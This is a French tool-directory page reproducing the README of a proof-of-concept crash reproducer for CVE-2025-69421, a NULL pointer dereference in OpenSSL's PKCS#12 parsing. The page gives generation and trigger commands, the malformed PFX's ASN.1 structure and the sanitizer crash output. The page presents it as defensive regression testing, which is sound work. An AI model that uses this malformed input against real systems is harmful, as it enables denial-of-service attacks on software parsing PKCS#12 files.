Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PoC-CVE-2025-69421 — Reproducteur minimal de CVE-2025-69421 démontrant un déréférencement de pointeur NULL dans le traitement OpenSSL PKCS#12 via un fichier PFX malformé avec un champ encryptedContent absent. Inclut un script de génération, une inspection ASN.1 et une sortie de crash déclenché par UBSan pour des tests de régression défensifs. | Kitploit
Outils/GitHubGitHub/kha-beleh/poc-cve-2025-69421
Analyse des VulnérabilitésExploitationFuzzingCryptographieAnalyse de BinairesApprentissage et Éducation
GitHubkha-beleh/poc-cve-2025-69421

PoC-CVE-2025-69421

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Reproducteur minimal de CVE-2025-69421 démontrant un déréférencement de pointeur NULL dans le traitement OpenSSL PKCS#12 via un fichier PFX malformé avec un champ encryptedContent absent. Inclut un script de génération, une inspection ASN.1 et une sortie de crash déclenché par UBSan pour des tests de régression défensifs.

il y a 28 joursPas encore vérifié
Partager

Reproducteur de plantage uniquement pour CVE-2025-69421

Ce dépôt contient un fichier PKCS#12 malformé minimal qui reproduit CVE-2025-69421 dans un environnement de laboratoire isolé.

Le PFX généré contient un EncryptedData dont le EncryptedContentInfo omet le champ optionnel encryptedContent. Les versions vulnérables d'OpenSSL peuvent transmettre un pointeur NULL ASN1_OCTET_STRING de PKCS12_unpack_p7encdata() à PKCS12_item_decrypt_d2i_ex(), qui le déréférence sans vérification NULL.

Ce reproducteur démontre uniquement une condition de déni de service. Il n'exécute pas de code et ne divulgue pas d'informations.

Contenu du dépôt

root@kitploit:~
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
    └── ubsan-output.txt

Prérequis

  • Python 3
  • Une version vulnérable d'OpenSSL compilée avec UBSan ou ASan/UBSan
  • OpenSSL 3.0.7 a été utilisé pour la reproduction confirmée

Définissez le répertoire de construction avant d'exécuter la preuve de concept :

root@kitploit:~
export OPENSSL_BUILD=/chemin/vers/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

OPENSSL_BUILD doit contenir la libcrypto.so.3 vulnérable ainsi que le binaire apps/openssl correspondant.

Générer le fichier PKCS#12 malformé

Un fichier pré-généré est inclus. Pour le recréer :

root@kitploit:~
python3 generate.py

La sortie est :

root@kitploit:~
malformed-cve-2025-69421.p12

Inspecter la structure ASN.1

root@kitploit:~
openssl asn1parse \
  -inform DER \
  -in malformed-cve-2025-69421.p12 \
  -i

La structure concernée est :

root@kitploit:~
PFX
├── version = 3
└── authSafe: ContentInfo(data)
    └── OCTET STRING
        └── AuthenticatedSafe
            └── ContentInfo(encryptedData)
                └── EncryptedData
                    ├── version = 0
                    └── EncryptedContentInfo
                        ├── contentType = data
                        ├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
                        └── encryptedContent = absent

Exécuter le reproducteur

En utilisant le script d'aide :

root@kitploit:~
export OPENSSL_BUILD=/chemin/vers/openssl-build
./run.sh

Commande manuelle équivalente :

root@kitploit:~
export OPENSSL_BUILD=/chemin/vers/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
  -in malformed-cve-2025-69421.p12 \
  -info \
  -noout \
  -passin pass:test

Résultat attendu sur une version vulnérable

root@kitploit:~
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
    #0 0x... in PKCS12_item_decrypt_d2i_ex (/chemin/vers/openssl-build/libcrypto.so.3+0x...)
    #1 0x... in PKCS12_unpack_p7encdata (/chemin/vers/openssl-build/libcrypto.so.3+0x...)
    #2 0x... in dump_certs_keys_p12 (/chemin/vers/openssl-build/apps/openssl+0x...)
    #3 0x... in pkcs12_main (/chemin/vers/openssl-build/apps/openssl+0x...)

Les indicateurs importants sont :

root@kitploit:~
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata

Résultat attendu sur une version corrigée

Une version corrigée d'OpenSSL doit rejeter l'entrée malformée sans que le sanitizer ne trouve d'erreur ni de plantage du processus. L'erreur peut inclure :

root@kitploit:~
PKCS12_item_decrypt_d2i_ex:passed a null parameter

Résumé technique

root@kitploit:~
CVE: CVE-2025-69421
Composant : Traitement PKCS#12 d'OpenSSL
Déclencheur : EncryptedData sans encryptedContent
Défaut : Déréférencement de pointeur NULL
Fonction : PKCS12_item_decrypt_d2i_ex()
Accessible via : PKCS12_unpack_p7encdata()
Impact : Déni de service

Avertissement

Utilisez ce reproducteur uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests. L'artefact inclus est destiné à la validation défensive et aux tests de régression.

Télécharger l’outil